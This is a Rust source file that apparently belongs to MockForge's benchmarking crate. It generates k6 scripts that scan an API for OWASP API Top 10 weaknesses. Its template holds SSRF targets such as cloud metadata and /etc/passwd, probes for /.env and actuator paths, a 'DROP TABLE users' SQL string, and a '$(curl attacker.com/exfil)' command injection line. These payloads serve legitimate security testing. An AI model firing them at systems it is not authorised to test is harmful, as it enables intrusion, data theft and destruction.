Skip to main content

mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Helper to prepend base_path to API paths
157        let base_path = self.config.base_path.clone().unwrap_or_default();
158        let build_path = |path: &str| -> String {
159            if base_path.is_empty() {
160                path.to_string()
161            } else {
162                format!("{}{}", base_path.trim_end_matches('/'), path)
163            }
164        };
165
166        // Pre-compute operations with path parameters for BOLA testing
167        let ops_with_path_params: Vec<Value> = self
168            .operations
169            .iter()
170            .filter(|op| op.path.contains('{'))
171            .map(|op| {
172                json!({
173                    "method": op.method.to_lowercase(),
174                    "path": build_path(&op.path),
175                })
176            })
177            .collect();
178
179        // Pre-compute GET operations for method override testing
180        let get_operations: Vec<Value> = self
181            .operations
182            .iter()
183            .filter(|op| op.method.to_lowercase() == "get")
184            .map(|op| {
185                json!({
186                    "method": op.method.to_lowercase(),
187                    "path": build_path(&op.path),
188                })
189            })
190            .collect();
191
192        // Escape auth header and token values for safe use in JavaScript strings
193        let auth_header_name = escape_js_string(&self.config.auth_header);
194        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
195
196        Ok(json!({
197            "base_url": self.target_url,
198            "auth_header_name": auth_header_name,
199            "valid_auth_token": valid_auth_token,
200            "concurrency": self.config.concurrency,
201            "iterations": self.config.iterations,
202            "timeout_ms": self.config.timeout_ms,
203            "report_path": self.config.report_path.to_string_lossy(),
204            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
205            "test_cases": test_cases,
206            "operations": self.operations.iter().map(|op| json!({
207                "method": op.method.to_lowercase(),
208                "path": build_path(&op.path),
209                "operation_id": op.operation_id,
210                "has_body": op.has_body,
211                "requires_auth": op.requires_auth,
212                "has_path_params": op.path.contains('{'),
213            })).collect::<Vec<_>>(),
214            "ops_with_path_params": ops_with_path_params,
215            "get_operations": get_operations,
216            "verbose": self.config.verbose,
217            "insecure": self.config.insecure,
218            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
219            "custom_headers": self.config.custom_headers.iter()
220                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
221                .collect::<Vec<_>>(),
222            "has_custom_headers": !self.config.custom_headers.is_empty(),
223            // Category flags for simple conditionals
224            "test_api1": test_api1,
225            "test_api2": test_api2,
226            "test_api3": test_api3,
227            "test_api4": test_api4,
228            "test_api5": test_api5,
229            "test_api6": test_api6,
230            "test_api7": test_api7,
231            "test_api8": test_api8,
232            "test_api9": test_api9,
233            "test_api10": test_api10,
234        }))
235    }
236
237    /// Generate test cases for a specific category
238    fn generate_category_tests(
239        &self,
240        category: OwaspCategory,
241        payload_generator: &OwaspPayloadGenerator,
242    ) -> Result<Vec<Value>> {
243        let payloads = payload_generator.generate_for_category(category);
244        let mut tests = Vec::new();
245
246        for payload in payloads {
247            // Match payloads to appropriate operations
248            let applicable_ops = self.get_applicable_operations(&payload);
249
250            for op in applicable_ops {
251                tests.push(json!({
252                    "category": category.cli_name(),
253                    "category_name": category.short_name(),
254                    "description": payload.description,
255                    "method": op.method.to_lowercase(),
256                    "path": op.path,
257                    "payload": payload.value,
258                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
259                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
260                    "notes": payload.notes,
261                }));
262            }
263        }
264
265        Ok(tests)
266    }
267
268    /// Get operations applicable for a payload
269    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
270        match payload.injection_point {
271            InjectionPoint::PathParam => {
272                // Only operations with path parameters
273                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
274            }
275            InjectionPoint::Body => {
276                // Only operations that accept a body
277                self.operations.iter().filter(|op| op.has_body).collect()
278            }
279            InjectionPoint::Header | InjectionPoint::Omit => {
280                // All operations that require auth
281                self.operations.iter().filter(|op| op.requires_auth).collect()
282            }
283            InjectionPoint::QueryParam => {
284                // All operations (can add query params to any)
285                self.operations.iter().collect()
286            }
287            InjectionPoint::Modify => {
288                // Depends on payload - return all for now
289                self.operations.iter().collect()
290            }
291        }
292    }
293
294    /// Get the k6 script template
295    fn get_script_template(&self) -> String {
296        r#"// OWASP API Security Top 10 Test Script
297// Generated by MockForge - https://mockforge.dev
298// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
299
300import http from 'k6/http';
301import { check, sleep, group } from 'k6';
302import { Trend, Counter, Rate } from 'k6/metrics';
303
304// Configuration
305const BASE_URL = '{{{base_url}}}';
306const AUTH_HEADER = '{{{auth_header_name}}}';
307{{#if valid_auth_token}}
308const VALID_TOKEN = '{{{valid_auth_token}}}';
309{{else}}
310const VALID_TOKEN = null;
311{{/if}}
312const TIMEOUT = '{{timeout_ms}}ms';
313const VERBOSE = {{verbose}};
314const INSECURE = {{insecure}};
315
316// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
317const CUSTOM_HEADERS = {
318{{#each custom_headers}}
319    '{{{name}}}': '{{{value}}}',
320{{/each}}
321};
322
323// Custom metrics
324const findingsCounter = new Counter('owasp_findings');
325const testsRun = new Counter('owasp_tests_run');
326const vulnerableRate = new Rate('owasp_vulnerable_rate');
327const responseTime = new Trend('owasp_response_time');
328
329// Test options - use per-VU iterations scenario for controlled test runs
330export const options = {
331    scenarios: {
332        owasp_security_test: {
333            executor: 'per-vu-iterations',
334            vus: {{concurrency}},
335            iterations: {{iterations}},  // Iterations per VU
336            maxDuration: '30m',
337        },
338    },
339    thresholds: {
340        'owasp_findings': ['count<100'], // Alert if too many findings
341    },
342    insecureSkipTLSVerify: INSECURE,
343};
344
345// Findings storage
346const findings = [];
347
348// Helper: Log a finding
349function logFinding(category, endpoint, method, description, evidence) {
350    const finding = {
351        category,
352        endpoint,
353        method,
354        description,
355        evidence,
356        timestamp: new Date().toISOString(),
357    };
358    findings.push(finding);
359    findingsCounter.add(1);
360    vulnerableRate.add(1);
361
362    if (VERBOSE) {
363        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
364    }
365}
366
367// Helper: Log test passed
368function logPass(category, endpoint, method) {
369    vulnerableRate.add(0);
370    if (VERBOSE) {
371        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
372    }
373}
374
375// Helper: Generate a random UUID for path parameters
376// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
377function generateRandomId() {
378    return crypto.randomUUID();
379}
380
381// Helper: Replace path parameters with random UUIDs
382// Replaces all {param} patterns with new random UUIDs
383function replacePathParams(path) {
384    return path.replace(/{[^}]+}/g, () => generateRandomId());
385}
386
387// Helper: Make authenticated request
388function authRequest(method, url, body, additionalHeaders = {}) {
389    const headers = {
390        'Content-Type': 'application/json',
391        ...CUSTOM_HEADERS,
392        ...additionalHeaders,
393    };
394
395    if (VALID_TOKEN) {
396        headers[AUTH_HEADER] = VALID_TOKEN;
397    }
398
399    const params = {
400        headers,
401        timeout: TIMEOUT,
402        jar: new http.CookieJar(),
403    };
404
405    // k6 uses 'del' instead of 'delete'
406    const httpMethod = method === 'delete' ? 'del' : method;
407
408    if (httpMethod === 'get' || httpMethod === 'head') {
409        return http[httpMethod](url, params);
410    } else {
411        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
412    }
413}
414
415// Helper: Make unauthenticated request
416function unauthRequest(method, url, body, additionalHeaders = {}) {
417    const headers = {
418        'Content-Type': 'application/json',
419        ...CUSTOM_HEADERS,
420        ...additionalHeaders,
421    };
422
423    const params = {
424        headers,
425        timeout: TIMEOUT,
426        jar: new http.CookieJar(),
427    };
428
429    // k6 uses 'del' instead of 'delete'
430    const httpMethod = method === 'delete' ? 'del' : method;
431
432    if (httpMethod === 'get' || httpMethod === 'head') {
433        return http[httpMethod](url, params);
434    } else {
435        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
436    }
437}
438
439// API1: Broken Object Level Authorization (BOLA)
440function testBola() {
441    group('API1 - BOLA', function() {
442        console.log('[API1] Testing Broken Object Level Authorization...');
443
444        {{#each operations}}
445        {{#if has_path_params}}
446        // Test {{path}}
447        {
448            // Generate different random UUIDs for each test
449            const originalId = generateRandomId();
450            const targetId = generateRandomId();
451            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
452            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
453
454            if (VERBOSE) {
455                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
456            }
457
458            // Get baseline with first random ID
459            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
460
461            // Try to access different random ID (simulating another user's resource)
462            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
463            testsRun.add(1);
464            responseTime.add(response.timings.duration);
465
466            if (response.status >= 200 && response.status < 300) {
467                // Check if we got different data (potential BOLA vulnerability)
468                if (response.body !== baseline.body && response.body.length > 0) {
469                    logFinding('api1', '{{path}}', '{{method}}',
470                        'ID manipulation accepted - accessed different resource',
471                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
472                } else {
473                    logPass('api1', '{{path}}', '{{method}}');
474                }
475            } else {
476                logPass('api1', '{{path}}', '{{method}}');
477            }
478        }
479        {{/if}}
480        {{/each}}
481    });
482}
483
484// API2: Broken Authentication
485function testBrokenAuth() {
486    group('API2 - Broken Authentication', function() {
487        console.log('[API2] Testing Broken Authentication...');
488
489        {{#each operations}}
490        {{#if requires_auth}}
491        // Test {{path}} without auth
492        {
493            const testPath = replacePathParams('{{path}}');
494            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
495            testsRun.add(1);
496            responseTime.add(response.timings.duration);
497
498            if (response.status >= 200 && response.status < 300) {
499                logFinding('api2', '{{path}}', '{{method}}',
500                    'Endpoint accessible without authentication',
501                    { status: response.status });
502            } else {
503                logPass('api2', '{{path}}', '{{method}}');
504            }
505        }
506
507        // Test {{path}} with empty token
508        {
509            const testPath = replacePathParams('{{path}}');
510            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
511            const makeEmptyTokenRequest = (m, url, body, params) => {
512                if (m === 'get' || m === 'head') return http[m](url, params);
513                return http[m](url, body, params);
514            };
515            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
516                headers: { [AUTH_HEADER]: 'Bearer ' },
517                timeout: TIMEOUT,
518                jar: new http.CookieJar(),
519            });
520            testsRun.add(1);
521
522            if (response.status >= 200 && response.status < 300) {
523                logFinding('api2', '{{path}}', '{{method}}',
524                    'Endpoint accessible with empty Bearer token',
525                    { status: response.status });
526            }
527        }
528        {{/if}}
529        {{/each}}
530    });
531}
532
533// API3: Broken Object Property Level Authorization (Mass Assignment)
534function testMassAssignment() {
535    group('API3 - Mass Assignment', function() {
536        console.log('[API3] Testing Mass Assignment...');
537
538        const massAssignmentPayloads = [
539            { role: 'admin' },
540            { is_admin: true },
541            { isAdmin: true },
542            { permissions: ['admin', 'write', 'delete'] },
543            { verified: true },
544            { email_verified: true },
545            { balance: 999999 },
546        ];
547
548        {{#each operations}}
549        {{#if has_body}}
550        // Test {{path}}
551        {
552            const testPath = replacePathParams('{{path}}');
553            massAssignmentPayloads.forEach(payload => {
554                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
555                testsRun.add(1);
556                responseTime.add(response.timings.duration);
557
558                if (response.status >= 200 && response.status < 300) {
559                    // Check if unauthorized field appears in response
560                    const responseBody = response.body.toLowerCase();
561                    const payloadKey = Object.keys(payload)[0].toLowerCase();
562
563                    if (responseBody.includes(payloadKey)) {
564                        logFinding('api3', '{{path}}', '{{method}}',
565                            `Mass assignment accepted: ${payloadKey}`,
566                            { status: response.status, payload });
567                    } else {
568                        logPass('api3', '{{path}}', '{{method}}');
569                    }
570                }
571            });
572        }
573        {{/if}}
574        {{/each}}
575    });
576}
577
578// API4: Unrestricted Resource Consumption
579function testResourceConsumption() {
580    group('API4 - Resource Consumption', function() {
581        console.log('[API4] Testing Resource Consumption...');
582
583        {{#each operations}}
584        // Test {{path}} with excessive limit
585        {
586            const testPath = replacePathParams('{{path}}');
587            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
588            const response = authRequest('{{method}}', url, null);
589            testsRun.add(1);
590            responseTime.add(response.timings.duration);
591
592            // Check for rate limit headers
593            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
594                                response.headers['x-ratelimit-limit'] ||
595                                response.headers['RateLimit-Limit'];
596
597            if (response.status === 429) {
598                logPass('api4', '{{path}}', '{{method}}');
599            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
600                logFinding('api4', '{{path}}', '{{method}}',
601                    'No rate limiting detected',
602                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
603            } else {
604                logPass('api4', '{{path}}', '{{method}}');
605            }
606        }
607        {{/each}}
608    });
609}
610
611// API5: Broken Function Level Authorization
612function testFunctionAuth() {
613    group('API5 - Function Authorization', function() {
614        console.log('[API5] Testing Function Level Authorization...');
615
616        const adminPaths = [
617            '/admin',
618            '/admin/users',
619            '/admin/settings',
620            '/api/admin',
621            '/internal',
622            '/management',
623        ];
624
625        adminPaths.forEach(path => {
626            const response = authRequest('get', BASE_URL + path, null);
627            testsRun.add(1);
628            responseTime.add(response.timings.duration);
629
630            if (response.status >= 200 && response.status < 300) {
631                logFinding('api5', path, 'GET',
632                    'Admin endpoint accessible',
633                    { status: response.status });
634            } else if (response.status === 403 || response.status === 401) {
635                logPass('api5', path, 'GET');
636            }
637        });
638
639        // Also test changing methods on read-only endpoints
640        {{#each get_operations}}
641        {
642            const testPath = replacePathParams('{{path}}');
643            const response = authRequest('delete', BASE_URL + testPath, null);
644            testsRun.add(1);
645
646            if (response.status >= 200 && response.status < 300) {
647                logFinding('api5', '{{path}}', 'DELETE',
648                    'DELETE method allowed on read-only endpoint',
649                    { status: response.status });
650            }
651        }
652        {{/each}}
653    });
654}
655
656// API7: Server Side Request Forgery (SSRF)
657function testSsrf() {
658    group('API7 - SSRF', function() {
659        console.log('[API7] Testing Server Side Request Forgery...');
660
661        const ssrfPayloads = [
662            'http://localhost/',
663            'http://127.0.0.1/',
664            'http://169.254.169.254/latest/meta-data/',
665            'http://[::1]/',
666            'file:///etc/passwd',
667        ];
668
669        {{#each operations}}
670        {{#if has_body}}
671        // Test {{path}} with SSRF payloads
672        {
673            const testPath = replacePathParams('{{path}}');
674            ssrfPayloads.forEach(payload => {
675                const body = {
676                    url: payload,
677                    webhook_url: payload,
678                    callback: payload,
679                    image_url: payload,
680                };
681
682                const response = authRequest('{{method}}', BASE_URL + testPath, body);
683                testsRun.add(1);
684                responseTime.add(response.timings.duration);
685
686                if (response.status >= 200 && response.status < 300) {
687                    // Check for indicators of internal access
688                    const bodyLower = response.body.toLowerCase();
689                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
690
691                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
692                        logFinding('api7', '{{path}}', '{{method}}',
693                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
694                            { status: response.status, payload });
695                    }
696                }
697            });
698        }
699        {{/if}}
700        {{/each}}
701    });
702}
703
704// API8: Security Misconfiguration
705function testMisconfiguration() {
706    group('API8 - Security Misconfiguration', function() {
707        console.log('[API8] Testing Security Misconfiguration...');
708
709        {{#each operations}}
710        // Test {{path}} for security headers
711        {
712            const testPath = replacePathParams('{{path}}');
713            const response = authRequest('{{method}}', BASE_URL + testPath, null);
714            testsRun.add(1);
715            responseTime.add(response.timings.duration);
716
717            const missingHeaders = [];
718
719            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
720                missingHeaders.push('X-Content-Type-Options');
721            }
722            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
723                missingHeaders.push('X-Frame-Options');
724            }
725            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
726                missingHeaders.push('Strict-Transport-Security');
727            }
728
729            // Check for overly permissive CORS
730            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
731            if (acao === '*') {
732                logFinding('api8', '{{path}}', '{{method}}',
733                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
734                    { status: response.status });
735            }
736
737            if (missingHeaders.length > 0) {
738                logFinding('api8', '{{path}}', '{{method}}',
739                    `Missing security headers: ${missingHeaders.join(', ')}`,
740                    { status: response.status, missingHeaders });
741            }
742        }
743        {{/each}}
744
745        // Test for verbose errors
746        {{#each operations}}
747        {{#if has_body}}
748        {
749            const testPath = replacePathParams('{{path}}');
750            const malformedBody = '{"invalid": "json';
751            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
752                headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
753                timeout: TIMEOUT,
754                jar: new http.CookieJar(),
755            });
756            testsRun.add(1);
757
758            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
759            const bodyLower = response.body.toLowerCase();
760
761            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
762                logFinding('api8', '{{path}}', '{{method}}',
763                    'Verbose error messages exposed',
764                    { status: response.status });
765            }
766        }
767        {{/if}}
768        {{/each}}
769    });
770}
771
772// API9: Improper Inventory Management
773function testInventory() {
774    group('API9 - Inventory Management', function() {
775        console.log('[API9] Testing Improper Inventory Management...');
776
777        const discoveryPaths = [
778            '/swagger',
779            '/swagger-ui',
780            '/swagger.json',
781            '/api-docs',
782            '/openapi',
783            '/openapi.json',
784            '/graphql',
785            '/graphiql',
786            '/debug',
787            '/actuator',
788            '/actuator/health',
789            '/actuator/env',
790            '/metrics',
791            '/.env',
792            '/config',
793        ];
794
795        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
796
797        discoveryPaths.forEach(path => {
798            const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
799            testsRun.add(1);
800            responseTime.add(response.timings.duration);
801
802            if (response.status !== 404) {
803                logFinding('api9', path, 'GET',
804                    `Undocumented endpoint discovered (HTTP ${response.status})`,
805                    { status: response.status });
806            }
807        });
808
809        // Check for old API versions
810        apiVersions.forEach(version => {
811            const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: new http.CookieJar() });
812            testsRun.add(1);
813
814            if (response.status !== 404) {
815                logFinding('api9', '/' + version + '/', 'GET',
816                    `API version endpoint exists (HTTP ${response.status})`,
817                    { status: response.status });
818            }
819        });
820    });
821}
822
823// API10: Unsafe Consumption of APIs
824function testUnsafeConsumption() {
825    group('API10 - Unsafe Consumption', function() {
826        console.log('[API10] Testing Unsafe Consumption...');
827
828        const injectionPayloads = [
829            { external_id: "'; DROP TABLE users;--" },
830            { integration_data: "$(curl attacker.com/exfil)" },
831            { template: "\{{7*7}}" },
832            { webhook_url: "http://127.0.0.1:8080/internal" },
833        ];
834
835        {{#each operations}}
836        {{#if has_body}}
837        // Test {{path}} with injection payloads
838        {
839            const testPath = replacePathParams('{{path}}');
840            injectionPayloads.forEach(payload => {
841                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
842                testsRun.add(1);
843                responseTime.add(response.timings.duration);
844
845                // Check if payload was processed (e.g., SSTI returning 49)
846                if (response.body.includes('49')) {
847                    logFinding('api10', '{{path}}', '{{method}}',
848                        'Server-side template injection detected',
849                        { status: response.status, payload });
850                }
851            });
852        }
853        {{/if}}
854        {{/each}}
855    });
856}
857
858// Main test function
859export default function() {
860    console.log('Starting OWASP API Top 10 Security Scan...');
861    console.log('Target: ' + BASE_URL);
862    console.log('');
863
864    {{#if test_api1}}
865    testBola();
866    {{/if}}
867    {{#if test_api2}}
868    testBrokenAuth();
869    {{/if}}
870    {{#if test_api3}}
871    testMassAssignment();
872    {{/if}}
873    {{#if test_api4}}
874    testResourceConsumption();
875    {{/if}}
876    {{#if test_api5}}
877    testFunctionAuth();
878    {{/if}}
879    {{#if test_api7}}
880    testSsrf();
881    {{/if}}
882    {{#if test_api8}}
883    testMisconfiguration();
884    {{/if}}
885    {{#if test_api9}}
886    testInventory();
887    {{/if}}
888    {{#if test_api10}}
889    testUnsafeConsumption();
890    {{/if}}
891
892    sleep(0.1);
893}
894
895// Teardown: Output results
896export function teardown(data) {
897    console.log('');
898    console.log('='.repeat(50));
899    console.log('OWASP API Top 10 Scan Complete');
900    console.log('='.repeat(50));
901    console.log('Total findings: ' + findings.length);
902
903    if (findings.length > 0) {
904        console.log('');
905        console.log('Findings by category:');
906        const byCategory = {};
907        findings.forEach(f => {
908            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
909        });
910        Object.entries(byCategory).forEach(([cat, count]) => {
911            console.log('  ' + cat + ': ' + count);
912        });
913    }
914
915    // Write JSON report
916    console.log('');
917    console.log('Report written to: {{report_path}}');
918}
919"#.to_string()
920    }
921}
922
923/// Handlebars helper to check if a string contains a substring
924fn contains_helper(
925    h: &handlebars::Helper,
926    _: &Handlebars,
927    _: &handlebars::Context,
928    _: &mut handlebars::RenderContext,
929    out: &mut dyn handlebars::Output,
930) -> handlebars::HelperResult {
931    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
932    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
933    let result = param1.contains(param2);
934    out.write(&result.to_string())?;
935    Ok(())
936}
937
938/// Handlebars helper to check equality
939fn eq_helper(
940    h: &handlebars::Helper,
941    _: &Handlebars,
942    _: &handlebars::Context,
943    _: &mut handlebars::RenderContext,
944    out: &mut dyn handlebars::Output,
945) -> handlebars::HelperResult {
946    let param1 = h.param(0).map(|v| v.value());
947    let param2 = h.param(1).map(|v| v.value());
948    let result = param1 == param2;
949    out.write(&result.to_string())?;
950    Ok(())
951}
952
953#[cfg(test)]
954mod tests {
955    use super::*;
956
957    #[test]
958    fn test_generator_creation() {
959        // This would need a mock SpecParser
960        // For now just test that the template is valid
961        let template = r#"
962        {{#each operations}}
963        // {{method}} {{path}}
964        {{/each}}
965        "#;
966
967        let handlebars = Handlebars::new();
968        let data = json!({
969            "operations": [
970                { "method": "GET", "path": "/users" },
971                { "method": "POST", "path": "/users" },
972            ]
973        });
974
975        let result = handlebars.render_template(template, &data);
976        assert!(result.is_ok());
977    }
978
979    #[test]
980    fn test_script_template_renders() {
981        let config = OwaspApiConfig::default()
982            .with_categories([OwaspCategory::Api1Bola])
983            .with_valid_auth_token("Bearer test123");
984
985        let template = r#"
986const AUTH = '{{auth_header_name}}';
987const TOKEN = '{{valid_auth_token}}';
988{{#each categories_tested}}
989// Testing: {{this}}
990{{/each}}
991        "#;
992
993        let handlebars = Handlebars::new();
994        let data = json!({
995            "auth_header_name": config.auth_header,
996            "valid_auth_token": config.valid_auth_token,
997            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
998        });
999
1000        let result = handlebars.render_template(template, &data).unwrap();
1001        assert!(result.contains("Authorization"));
1002        assert!(result.contains("Bearer test123"));
1003        assert!(result.contains("api1"));
1004    }
1005
1006    #[test]
1007    fn test_owasp_uses_per_request_cookie_jar() {
1008        // Test that the OWASP template creates a fresh CookieJar per request
1009        // A shared jar accumulates Set-Cookie responses, causing duplication
1010        let template = r#"
1011function authRequest(method, url) {
1012    const params = { jar: new http.CookieJar() };
1013}
1014"#;
1015        let handlebars = Handlebars::new();
1016        let data = json!({});
1017        let result = handlebars.render_template(template, &data).unwrap();
1018        assert!(
1019            result.contains("new http.CookieJar()"),
1020            "Should create fresh CookieJar per request"
1021        );
1022        assert!(!result.contains("jar: null"), "Should NOT use jar: null");
1023        assert!(
1024            !result.contains("EMPTY_JAR"),
1025            "Should NOT use shared EMPTY_JAR (accumulates Set-Cookie responses)"
1026        );
1027    }
1028}